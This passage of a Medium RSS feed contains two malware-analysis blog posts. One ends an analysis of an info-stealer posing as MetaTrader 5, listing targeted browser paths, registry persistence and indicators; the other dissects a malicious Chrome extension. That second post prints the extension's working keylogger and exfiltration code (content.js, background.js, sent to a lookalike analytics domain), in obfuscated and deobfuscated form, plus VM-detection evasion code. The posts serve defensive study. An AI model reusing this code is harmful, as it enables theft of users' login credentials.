Experience</li><li>%USERPROFILE%\AppData\Local\Steam</li><li>%USERPROFILE%\AppData\Local\CryptoTab Browser\User Data</li><li>%USERPROFILE%\AppData\Roaming\Mozilla\Firefox</li><li>%USERPROFILE%\AppData\Roaming\Waterfox</li><li>%USERPROFILE%\AppData\Roaming\K-Meleon</li><li>%USERPROFILE%\AppData\Roaming\Thunderbird</li><li>%USERPROFILE%\AppData\Roaming\Comodo\IceDragon</li><li>%USERPROFILE%\AppData\Roaming\8pecxstudios\Cyberfox</li><li>%USERPROFILE%\AppData\Roaming\NETGATE Technologies\BlackHaw</li><li>%USERPROFILE%\AppData\Roaming\Moonchild Productions\Pale</li></ul><p>Furthermore, the malware had tried to be persistence by adding the previously dropped file ‘Xudcetcqicw.exe’ to the registry at HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run to install itself for autorun at Windows startup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*VcwnHfE8uvqr4QP_phzI_g.png" /><figcaption>Malware adding to registry key for persistance</figcaption></figure><h3>Indicator of Compromise</h3><p>C2 - 172[.]173[.]180[.]63</p><p>‘Stock Trading.exe’ - ca710e18c9fd9d326d41c05399ff41db</p><p>‘Pklybzakksfmt5setup.exe’ - 07906a40a9aa773564e58d5b1e86bb9a</p><h3>Further Findings</h3><p>I messaged the Stock Trading Nepal with other different accounts. They provide their application through WeTransfer and shared password protected file named ‘Stock Trading.rar’. But, the hash of the extracted ‘Stock Trading,exe’ was different. So they modified their malware to change it’s hash to bypass security depending on checking hash. But I found following behavior of the malware to be common across different samples:</p><ul><li>The malware will have timestomping to tamper the creation date.</li><li>The malware on execution will look like MetaTrader 5 setup.</li><li>The malware will drop ‘Pklybzakksfmt5setup.exe’ under Temp, which is MetaTrader 5 setup.</li><li>The malware will also drop [SomeFileName].exe under Roaming, which it will add in registry at HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run for persistence.</li><li>The malware will contact to its C2 server at 172[.]173[.]180[.]63 over port 80 to get its further configuration then steal data as per the configuration.</li></ul><h3>Recommendations</h3><ul><li>Do not download files from untrusted source.</li><li>Use updated antivirus.</li><li>Update all the password stored in the infected machine and implement multiple factor authentication.</li><li>Destroy all web session cookies.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b690a64b5a76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysis on Malicious Browser Extension]]></title>
            <link>https://medium.com/@venus.chhantel/analysis-on-malicious-browser-extension-2c1cfc8318d1?source=rss-a5c27af9612d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c1cfc8318d1</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[browser-extension]]></category>
            <dc:creator><![CDATA[Venus Chhantel]]></dc:creator>
            <pubDate>Wed, 02 Nov 2022 21:45:01 GMT</pubDate>
            <atom:updated>2022-11-03T13:27:20.993Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y5hgSGWYaVwGimdy.jpg" /></figure><p>We all use browser extension to add features and increase the functionality of website. But, there are a lot of malicious browser extension in the wild, which many people seems to ignore and install browser extension without much thinking from security perspective.</p><p>In this blog, I will explain how a browser extension can be malicious through static analysis of a browser extension sample ‘FinanceEYEfeeder.crx’ which was uploaded by LetsDefend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/0*qCXyrCKJQhen7Y1n" /><figcaption>‘FinanceEyefeeder.crx’ Browser Extension</figcaption></figure><p>On checking the file type of the browser extension, it showed that it is a Google Chrome extension (version 3).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*rxk0pRmyzRGfXrEe" /><figcaption>Checking file type of FinanceEYEfeeder.crx</figcaption></figure><p>Whenever I want to investigate a questionable file, the first thing I do is run it through antivirus. Since VirusTotal provides different antivirus engines, the browser extension was uploaded to VirusTotal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*t_q9dbl18ULaySmN" /><figcaption>Scanning FinanceEYEfeeder.crx in VirusTotal</figcaption></figure><p>Based on VirusTotal result, we can see that only one of the antivirus engine flagged this browser extension as malicious.</p><p><strong>VirusTotal Result:</strong> <a href="https://www.virustotal.com/gui/file/f7d0677dde14781dd8f67f9b896630f08ff1369c911fd6fec0530cae08bfc943?nocache=1">https://www.virustotal.com/gui/file/f7d0677dde14781dd8f67f9b896630f08ff1369c911fd6fec0530cae08bfc943?nocache=1</a></p><p>Now lets run the strings file against the browser extension file.</p><pre>$ strings -n 7 FinanceEYEfeeder.crx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/0*Qn1ix6lyDi5ty4GC" /><figcaption>Using strings tool on FinanceEYEfeeder.crx</figcaption></figure><p>Here, many files can be seen inside the ‘FinanceEYEfeeder.crx’. Since the crx extension file is an archive file as confirmed by strings tool also, we can simply extract the contents of it. For this, 7zip tool was used to extract as shown below:</p><pre>$ 7z x FinanceEYEfeeder.crx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1B1RZCcWh6zdBk2Z" /><figcaption>Extracting contents of FinanceEYEfeeder.crx</figcaption></figure><p>Now, the extracted files were listed using the tree command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/0*uoulWwrDUcy8KXtT" /><figcaption>Using tree to check all extracted files</figcaption></figure><p>At the first glance, manifest.json can be seen. It is a file which is included in every extension that is using WebExtension APIs and it contains metadata about the extension like name, version, description and so on. So lets check the manifest.json file code.</p><pre>{<br>  &quot;manifest_version&quot;: 3,<br>  &quot;name&quot;: &quot;FinanceEyeFeeder&quot;,<br>  &quot;version&quot;: &quot;3.0.0&quot;,<br>  &quot;chrome_url_overrides&quot;:{<br>    &quot;newtab&quot;: &quot;ThankYou.html&quot;<br>  },<br>  &quot;background&quot;: {<br>    &quot;service_worker&quot;:&quot;background.js&quot;<br>  },<br>  &quot;content_scripts&quot;:[<br>    {<br>      &quot;matches&quot;: [&quot;*://*//*&quot;],<br>      &quot;js&quot;: [&quot;content.js&quot;]<br><br>    }<br>  ],<br>  &quot;description&quot;: &quot;A trusted utility for reading the financial news&quot;,<br>  &quot;action&quot;: {<br>    &quot;default_icon&quot;: &quot;assets/icon.png&quot;,<br>    &quot;default_popup&quot;: &quot;background.html&quot;<br>  },<br> <br>  &quot;icons&quot;: {<br>    &quot;16&quot;: &quot;assets/icon.png&quot;,<br>    &quot;48&quot;: &quot;assets/icon.png&quot;,<br>    &quot;128&quot;: &quot;assets/icon.png&quot;<br>  }<br>}</pre><p>After looking at the metadata, I wanted to check the content_scripts. So lets review the content.js code.</p><pre>var _0xc92b = [&quot;\\x61\\x64\\x64\\x4C\\x69\\x73\\x74\\x65\\x6E\\x65\\x72&quot;, &quot;\\x6F\\x6E\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74&quot;, &quot;\\x72\\x75\\x6E\\x74\\x69\\x6D\\x65&quot;, &quot;\\x75\\x72\\x6C&quot;, &quot;\\x5E\\x28\\x2E\\x2A\\x5B\\x2F\\x5D\\x29\\x3F\\x6C\\x6F\\x67\\x69\\x6E\\x2E\\x61\\x73\\x70\\x78\\x28\\x5B\\x3F\\x5D\\x2E\\x2A\\x29\\x3F\\x24&quot;, &quot;\\x6D\\x61\\x74\\x63\\x68&quot;, &quot;&quot;, &quot;\\x6F\\x6E\\x6B\\x65\\x79\\x64\\x6F\\x77\\x6E&quot;, &quot;\\x6C\\x65\\x6E\\x67\\x74\\x68&quot;, &quot;\\x6B\\x65\\x79&quot;, &quot;\\x20\\x28&quot;, &quot;\\x29\\x20&quot;, &quot;\\x68\\x72\\x65\\x66&quot;, &quot;\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E&quot;, &quot;\\x73\\x65\\x6E\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65&quot;, &quot;\\x6F\\x6E\\x42\\x65\\x66\\x6F\\x72\\x65\\x52\\x65\\x71\\x75\\x65\\x73\\x74&quot;, &quot;\\x77\\x65\\x62\\x52\\x65\\x71\\x75\\x65\\x73\\x74&quot;];<br>chrome[_0xc92b[2]][_0xc92b[1]][_0xc92b[0]](function (_0x8616x1) {});<br>chrome[_0xc92b[16]][_0xc92b[15]][_0xc92b[0]](function (_0x8616x2) {<br>   if (_0x8616x2[_0xc92b[3]] == str[_0xc92b[5]](_0xc92b[4])) {<br>      var _0x8616x3 = _0xc92b[6];<br>      var _0x8616x4 = {};<br>      window[_0xc92b[7]] = function (_0x8616x5) {<br>         if (_0x8616x5[_0xc92b[9]][_0xc92b[8]] &gt; 1) {<br>            _0x8616x3 = _0xc92b[10] + _0x8616x5[_0xc92b[9]] + _0xc92b[11]<br>         } else {<br>            _0x8616x3 = _0x8616x5[_0xc92b[9]]<br>         };<br>         _0x8616x4 = {<br>            key: _0x8616x3,<br>            page: window[_0xc92b[13]][_0xc92b[12]]<br>         };<br>         chrome[_0xc92b[2]][_0xc92b[14]](_0x8616x4)<br>      }<br>   }<br>})</pre><p>The code is obfuscated….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*mhDaKwhXr7kJzKPd.gif" /></figure><p>But luckily, there is a tool that can deobfuscate the JavaScript code.</p><p><strong>JavaScript Deobfuscator:</strong> <a href="https://deobfuscate.io/">https://deobfuscate.io/</a></p><p>Using this tool, the content.js code was deobuscated as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*kxN4ergA6BOdX5TgdKpb0g.png" /><figcaption>Deobfuscated content.js from JavaScript Deobfuscator</figcaption></figure><p>Now this code is readable. There are a lot of valuable information.</p><p>In (1), a webExtension API <strong>chrome.webRequest.oneBeforeRequest</strong> can be seen which will be triggered when a request is about to be made. It means that before a request is made it will do something.</p><p>In (2), there we can see <strong>str.match</strong> which uses regrex to check for login in the URL.</p><p>In (3), another event <strong>window.onkeydown</strong> will listen for any keyboard stroke.</p><p>In (4), we can see <strong>_0x8616x4 =</strong> <strong>{key: _0x8616x3, page: window.location.href}</strong> which will record the key stroke along with the URL in the variable _0x8616x4.</p><p>In (5), a webExtension API <strong>chrome.runtime.sendMessage(_0x8616x4)</strong> will send the key stroke stored in _0x8616x4 to somewhere.</p><p>Now lets check another JavaScript file ‘background.js’.</p><pre>function c() {<br>    var o = [&#39;apply&#39;, &#39;nction()\\x20&#39;, &#39;console&#39;, &#39;info&#39;, &#39;key&#39;, &#39;responseTe&#39;, &#39;txt&#39;, &#39;setRequest&#39;, &#39;ded&#39;, &#39;onMessage&#39;];<br>    c = function () {<br>       return o;<br>    };<br>    return c();<br> }<br> <br> function d(a, b) {<br>    var e = c();<br>    return d = function (f, g) {<br>       f = f - 0x0;<br>       var h = e[f];<br>       return h;<br>    }, d(a, b);<br> }<br> var b = (function () {<br>       var e = !![];<br>       return function (f, g) {<br>          var h = e ? function () {<br>             if (g) {<br>                var i = g[d(0x0)](f, arguments);<br>                return g = null, i;<br>             }<br>          } : function () {};<br>          return e = ![], h;<br>       };<br>    }()),<br>    a = b(this, function () {<br>       var f;<br>       try {<br>          var g = Function(&#39;return\\x20(fu&#39; + d(0x1) + (&#39;{}.constru&#39; + &#39;ctor(\\x22retu&#39; + &#39;rn\\x20this\\x22)(&#39; + &#39;\\x20)&#39;) + &#39;);&#39;);<br>          f = g();<br>       } catch (n) {<br>          f = window;<br>       }<br>       var h = f[d(0x2)] = f[&#39;console&#39;] || {},<br>          i = [&#39;log&#39;, &#39;warn&#39;, d(0x3), &#39;error&#39;, &#39;exception&#39;, &#39;table&#39;, &#39;trace&#39;];<br>       for (var j = 0x0; j &lt; i[&#39;length&#39;]; j++) {<br>          var k = b[&#39;constructo&#39; + &#39;r&#39;][&#39;prototype&#39;][&#39;bind&#39;](b),<br>             l = i[j],<br>             m = h[l] || k;<br>          k[&#39;__proto__&#39;] = b[&#39;bind&#39;](b), k[&#39;toString&#39;] = m[&#39;toString&#39;][&#39;bind&#39;](m), h[l] = k;<br>       }<br>    });<br> a();<br> <br> function handleMessage(e) {<br>    data = d(0x4) + e[d(0x4)] + &#39;&amp;page=&#39; + e[&#39;page&#39;];<br>    var f = new XMLHttpRequest();<br>    f[&#39;onload&#39;] = function () {<br>       console(this[d(0x5) + &#39;xt&#39;]);<br>    }, f[&#39;open&#39;](&#39;POST&#39;, &#39;&lt;https://go&gt;&#39; + &#39;ogle-analy&#39; + &#39;tics-cm.co&#39; + &#39;m/analytic&#39; + &#39;s-3032344.&#39; + d(0x6), !![]), f[d(0x7) + &#39;Header&#39;](&#39;Content-Ty&#39; + &#39;pe&#39;, &#39;applicatio&#39; + &#39;n/x-www-fo&#39; + &#39;rm-urlenco&#39; + d(0x8)), f[&#39;send&#39;](data);<br> }<br> chrome[&#39;runtime&#39;][d(0x9)][&#39;addListene&#39; + &#39;r&#39;](handleMessage);</pre><p>The background.js is also obfuscated. Now after deofuscating it with JavaScript Deobfuscator, it still looks obfuscated as shown below.</p><pre>function c() {<br>  var o = [&quot;apply&quot;, &quot;nction() &quot;, &quot;console&quot;, &quot;info&quot;, &quot;key&quot;, &quot;responseTe&quot;, &quot;txt&quot;, &quot;setRequest&quot;, &quot;ded&quot;, &quot;onMessage&quot;];<br>  c = function () {<br>    return o;<br>  };<br>  return c();<br>}<br>function d(a, b) {<br>  var e = c();<br>  return d = function (f, g) {<br>    f = f - 0;<br>    var h = e[f];<br>    return h;<br>  }, d(a, b);<br>}<br>var b = function () {<br>  var e = true;<br>  return function (f, g) {<br>    var h = e ? function () {<br>      if (g) {<br>        var i = g[d(0)](f, arguments);<br>        return g = null, i;<br>      }<br>    } : function () {};<br>    return e = false, h; <br>  };<br>}(), a = b(this, function () {<br>  var f;<br>  try {<br>    var g = Function(&quot;return (fu&quot; + d(1) + &#39;{}.constructor(&quot;return this&quot;)( )&#39; + &quot;);&quot;);<br>    f = g();<br>  } catch (n) {<br>    f = window;<br>  }<br>  var h = f[d(2)] = f.console || {}, i = [&quot;log&quot;, &quot;warn&quot;, d(3), &quot;error&quot;, &quot;exception&quot;, &quot;table&quot;, &quot;trace&quot;];<br>  for (var j = 0; j &lt; i.length; j++) {<br>    var k = b.constructor.prototype.bind(b), l = i[j], m = h[l] || k;<br>    k.__proto__ = b.bind(b), k.toString = m.toString.bind(m), h[l] = k;<br>  }<br>});<br>a();<br>function handleMessage(e) {<br>  data = d(4) + e[d(4)] + &quot;&amp;page=&quot; + e.page;<br>  var f = new XMLHttpRequest;<br>  f.onload = function () {<br>    console(this[d(5) + &quot;xt&quot;]);<br>  }, f.open(&quot;POST&quot;, &quot;&lt;https://google-analytics-cm.com/analytics-3032344.&quot;&gt; + d(6), true), f[d(7) + &quot;Header&quot;](&quot;Content-Type&quot;, &quot;application/x-www-form-urlenco&quot; + d(8)), f.send(data);<br>}<br>chrome.runtime[d(9)].addListener(handleMessage);</pre><p>Malware writer has made clever use of functions to make it look obfuscated. The ‘d’ functions is used as variable string replacement for obfuscation. So replacing the values as:</p><p>d(0) = “apply”</p><p>d(1) = “nction() “</p><p>d(2) = “console”</p><p>d(3) = “info”</p><p>d(4) = “key”</p><p>d(5) = “responseTe”</p><p>d(6) = “txt”</p><p>d(7) = “setRequest”</p><p>d(8) = “ded”</p><p>d(9) = “onMessage”</p><pre>function c() {<br>  var o = [&quot;apply&quot;, &quot;nction() &quot;, &quot;console&quot;, &quot;info&quot;, &quot;key&quot;, &quot;responseTe&quot;, &quot;txt&quot;, &quot;setRequest&quot;, &quot;ded&quot;, &quot;onMessage&quot;];<br>  c = function () {<br>    return o;<br>  };<br>  return c();<br>}<br>function d(a, b) {<br>  var e = c();<br>  return d = function (f, g) {<br>    f = f - 0;<br>    var h = e[f];<br>    return h;<br>  }, d(a, b);<br>}<br>var b = function () {<br>  var e = true;<br>  return function (f, g) {<br>    var h = e ? function () {<br>      if (g) {<br>        var i = g[&quot;apply&quot;](f, arguments);<br>        return g = null, i;<br>      }<br>    } : function () {};<br>    return e = false, h;<br>  };<br>}(), a = b(this, function () {<br>  var f;<br>  try {<br>    var g = Function(&quot;return (fu&quot; + d(1) + &#39;{}.constructor(&quot;return this&quot;)( )&#39; + &quot;);&quot;);<br>    f = g();<br>  } catch (n) {<br>    f = window;<br>  }<br>  var h = f[&quot;console&quot;] = f.console || {}, i = [&quot;log&quot;, &quot;warn&quot;, &quot;info&quot;, &quot;error&quot;, &quot;exception&quot;, &quot;table&quot;, &quot;trace&quot;];<br>  for (var j = 0; j &lt; i.length; j++) {<br>    var k = b.constructor.prototype.bind(b), l = i[j], m = h[l] || k;<br>    k.__proto__ = b.bind(b), k.toString = m.toString.bind(m), h[l] = k;<br>  }<br>});<br>a();<br>function handleMessage(e) {<br>  data = &quot;key&quot; + e[&quot;key&quot;] + &quot;&amp;page=&quot; + e.page;<br>  var f = new XMLHttpRequest;<br>  f.onload = function () {<br>    console(this[&quot;responseTe&quot; + &quot;xt&quot;]);<br>  }, f.open(&quot;POST&quot;, &quot;<a href="https://google-analytics-cm.com/analytics-3032344">https://google-analytics-cm.com/analytics-3032344</a>.&quot; + &quot;txt&quot;, true), f[&quot;setRequest&quot; + &quot;Header&quot;](&quot;Content-Type&quot;, &quot;application/x-www-form-urlenco&quot; + &quot;ded&quot;), f.send(data);<br>}<br>chrome.runtime[&quot;onMessage&quot;].addListener(handleMessage);</pre><p>Now, the code becomes more clear. Here, it can be seen that this malicious browser extension will send keyboard strokes through POST request of “https[:]//google-analytics-cm[.]com/analytics-3032344[.]txt”.</p><p>When checking other files, I found a really interesting thing in ThankYou.html.</p><p>Many malware writers are becoming clever. Many malware will check if it’s being run on virtual machines and if it detects itself running in virtual machines then it will execute differently or will not even execute, in order to prevent dynamic analysis on the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*6GY_HCoihPDch7-Q.gif" /></figure><p>This case is the same. Lets check the ThankYou.html code.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;body onload=&quot;FinanceSorter()&quot;&gt;<br><br>&lt;script&gt;<br>chrome.processes.getProcessInfo(); <br>function FinanceSorter() {<br>  var canvas = document.createElement(&#39;canvas&#39;);<br>  var gl = canvas.getContext(&#39;webgl&#39;);<br>  var debugInfo = gl.getExtension(&#39;WEBGL_debug_renderer_info&#39;);<br>  var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);<br>  var renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);<br><br>  var width = screen.width;<br>  var height = screen.height;<br>  var color_depth = screen.colorDepth;<br><br>  setTimeout(function(){<br>    if (true) {<br>      if (/swiftshader/i.test(renderer.toLowerCase()) || /llvmpipe/i.test(renderer.toLowerCase()) || /virtualbox/i.test(renderer.toLowerCase()) || /vmware/i.test(renderer.toLowerCase()) || !renderer){<br>        console.log(&quot;检测到&quot;)<br>        chrome.processes.terminate(0);<br>      }<br>        else if (color_depth &lt; 24 || width &lt; 100 || width &lt; 100 || color_depth){<br>          console.log(&quot;检测到&quot;)<br>          chrome.processes.terminate(0);<br>      }<br>     <br>    }<br>  }, 200);  <br>}<br>&lt;/script&gt;<br><br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Reviewing the ThankYou.html, there is a function <strong>SetTimeout</strong>. Inside it, there is a if condition that is checking for virtual machines like vmware, virtualbox and so on. And when it detects it, it will terminate itself with <strong>chrome.processes.terminate(0) </strong>and also prints “检测到”.</p><p>Now based on the above analysis of content.js, background.js and ThankYou.html, it can be concluded that this browser extension is a keylogger that will listen for keyboard strokes on login URLs and will send the captured key strokes over POST request to https[:]//google-analytics-cm[.]com/analytics-3032344[.]txt. Furthermore, this malware will terminate itself if it detects itself being run on virtual machines to avoid dynamic analysis.</p><p>So…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*o8cCcgLYxo8OsdcZFlar2A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c1cfc8318d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>